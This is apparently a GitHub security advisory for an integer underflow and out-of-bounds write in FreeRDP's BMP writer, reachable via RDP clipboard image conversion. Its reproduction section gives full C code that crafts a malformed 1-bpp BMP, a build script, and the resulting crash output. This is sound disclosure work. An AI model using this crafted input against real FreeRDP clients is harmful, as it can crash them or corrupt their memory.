All vulnerabilities
GHSA-27m7-gwhh-6hhf

Integer Underflow (Wrap or Wraparound) and Out-of-bounds Write in FreeRDP

FreeRDP
CVSS
7.6High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published2 Oct 2026Updated 2 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

FreeRDP's BMP writer computes a destination row as width * (bpp / 8), but its BMP parser computes sub-byte image strides using (bpp + 7) / 8 and four-byte alignment. A parsed 1x1 1-bpp BMP therefore has stride=4, while the writer calculates bpp_stride=0. The writer calls Stream_Zero(s, bpp_stride - stride), passing SIZE_MAX - 3 to the memory fill.

The condition is reachable through clipboard image conversion. A malicious RDP clipboard peer can advertise an image format and return BMP bytes; clipboard_synthesize_image_format_to_bmp uses content-based decoding and then invokes the affected BMP writer when the local side requests CF_DIB/CF_DIBV5.

The attached local-only reproducer builds the public 3.31.1 release in Debug mode. The real parser accepts the 58-byte input as bpp=1, stride=4, after which the writer aborts in Stream_Fill. The 32-bpp control succeeds and emits a 58-byte BMP. Availability is dynamically demonstrated. In a build where assertions do not terminate first, source analysis shows the underflow reaching a memory fill; confidentiality and integrity are therefore scored Low, but controlled corruption or code execution was not dynamically demonstrated.

The vulnerable subtraction was introduced by 32cc0f0927f03a29c92cf21b849889aeb35995aa; the first verified affected release is 3.14.1. It remains present in 3.31.1 and current master (839dcaf29fb24a71a000f5e957d59f4e42aa37f7).

Reproduction

Save the following two files in one directory, make run.sh executable, and run it. The script downloads and verifies the public 3.31.1 source archive, builds WinPR with assertions, runs the malformed image, and then runs the valid 32-bpp control.

<!-- BEGIN FILE: bmp_repro.c -->

#include <winpr/image.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void put16(BYTE* p, UINT16 value)
{
	p[0] = (BYTE)value;
	p[1] = (BYTE)(value >> 8);
}

static void put32(BYTE* p, UINT32 value)
{
	p[0] = (BYTE)value;
	p[1] = (BYTE)(value >> 8);
	p[2] = (BYTE)(value >> 16);
	p[3] = (BYTE)(value >> 24);
}

static int parsed_1bpp(void)
{
	BYTE bmp[58] = { 0 };
	bmp[0] = 'B';
	bmp[1] = 'M';
	put32(&bmp[2], sizeof(bmp));
	put32(&bmp[10], 54);
	put32(&bmp[14], 40);
	put32(&bmp[18], 1);
	put32(&bmp[22], 1);
	put16(&bmp[26], 1);
	put16(&bmp[28], 1);
	put32(&bmp[34], 4);
	bmp[54] = 0x80;

	wImage* image = winpr_image_new();
	if (!image)
		return 2;

	const int rc = winpr_image_read_buffer(image, bmp, sizeof(bmp));
	printf("parsed read_rc=%d width=%u height=%u bpp=%u stride=%u\n", rc, image->width,
	       image->height, image->bitsPerPixel, image->scanline);
	fflush(stdout);
	if (rc < 0)
		return 3;

	size_t output_size = 0;
	void* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);
	printf("parsed output=%p output_size=%zu\n", output, output_size);
	free(output);
	winpr_image_free(image, TRUE);
	return 0;
}

static int control_32bpp(void)
{
	wImage* image = winpr_image_new();
	if (!image)
		return 2;

	image->width = 1;
	image->height = 1;
	image->bitsPerPixel = 32;
	image->bytesPerPixel = 4;
	image->scanline = 4;
	image->data = calloc(4, 1);
	if (!image->data)
		return 2;

	size_t output_size = 0;
	void* output = winpr_image_write_buffer(image, WINPR_IMAGE_BITMAP, &output_size);
	printf("control bpp=32 stride=4 output=%s output_size=%zu\n", output ? "non-null" : "null",
	       output_size);
	free(output);
	winpr_image_free(image, TRUE);
	return output_size == 58 ? 0 : 4;
}

int main(int argc, char** argv)
{
	if ((argc == 2) && (strcmp(argv[1], "parsed") == 0))
		return parsed_1bpp();
	if ((argc == 2) && (strcmp(argv[1], "control") == 0))
		return control_32bpp();
	fprintf(stderr, "usage: %s parsed|control\n", argv[0]);
	return 1;
}

<!-- END FILE: bmp_repro.c -->

<!-- BEGIN FILE: run.sh -->

#!/bin/sh
set -eu

VERSION=3.31.1
ARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK_DIR=${WORK_DIR:-"$BASE_DIR/.build"}
ARCHIVE="$WORK_DIR/$VERSION.tar.gz"
SOURCE="$WORK_DIR/FreeRDP-$VERSION"
BUILD="$WORK_DIR/build"

mkdir -p "$WORK_DIR"
if [ ! -f "$ARCHIVE" ]; then
	curl -fL --retry 3 -o "$ARCHIVE" \
		"https://github.com/FreeRDP/FreeRDP/archive/refs/tags/$VERSION.tar.gz"
fi
printf '%s  %s\n' "$ARCHIVE_SHA256" "$ARCHIVE" | sha256sum -c -

rm -rf "$SOURCE" "$BUILD"
tar -xzf "$ARCHIVE" -C "$WORK_DIR"

if command -v cmake >/dev/null 2>&1; then
	CMAKE=cmake
else
	CMAKE="python3 -m cmake"
fi

$CMAKE -S "$SOURCE" -B "$BUILD" \
	-DCMAKE_BUILD_TYPE=Debug \
	-DWITH_KRB5=OFF -DWITH_UNICODE_BUILTIN=ON \
	-DWITH_SWSCALE=OFF -DWITH_FFMPEG=OFF -DWITH_DSP_FFMPEG=OFF \
	-DWITH_VIDEO_FFMPEG=OFF -DWITH_CAIRO=OFF -DWITH_X11=OFF -DWITH_FUSE=OFF \
	-DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \
	-DWITH_MANPAGES=OFF -DWITH_SAMPLE=OFF -DWITH_TESTING=OFF \
	-DWITH_JPEG=OFF -DWITH_WEBP=OFF -DWITH_PNG=OFF \
	"$@"
$CMAKE --build "$BUILD" --target winpr -j2

cc -g -O0 \
	-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
	-I"$BUILD/include" -I"$BUILD/winpr/include" \
	"$BASE_DIR/bmp_repro.c" -o "$WORK_DIR/bmp_repro" \
	-L"$BUILD/winpr/libwinpr" -Wl,-rpath,"$BUILD/winpr/libwinpr" \
	-lwinpr3 -lpthread

set +e
"$WORK_DIR/bmp_repro" parsed >"$WORK_DIR/positive.txt" 2>&1
positive_rc=$?
set -e
cat "$WORK_DIR/positive.txt"
printf 'positive_exit=%s\n' "$positive_rc"

"$WORK_DIR/bmp_repro" control | tee "$WORK_DIR/control.txt"
printf 'control_exit=0\n'

test "$positive_rc" -ne 0
grep -q 'parsed read_rc=1 width=1 height=1 bpp=1 stride=4' "$WORK_DIR/positive.txt"
grep -q 'control bpp=32 stride=4 output=non-null output_size=58' "$WORK_DIR/control.txt"

<!-- END FILE: run.sh -->

Observed output (addresses and backtrace frames omitted):

3.31.1.tar.gz: OK
parsed read_rc=1 width=1 height=1 bpp=1 stride=4
[FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingCapacity(_s) >= (_n))) [.../winpr/include/winpr/stream.h:Stream_Fill:1235]
Aborted (core dumped)
positive_exit=134
control bpp=32 stride=4 output=non-null output_size=58
control_exit=0

Suggested fix

Calculate packed bytes as (width * bpp + 7) / 8, with checked arithmetic, before four-byte alignment. Reject any image where the supplied stride exceeds the validated destination stride, and reserve capacity for all source bytes plus padding before writing. Add 1-bpp and 4-bpp parser- to-writer and clipboard-synthesis regression tests under assertions and sanitizers.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.14.1GitHub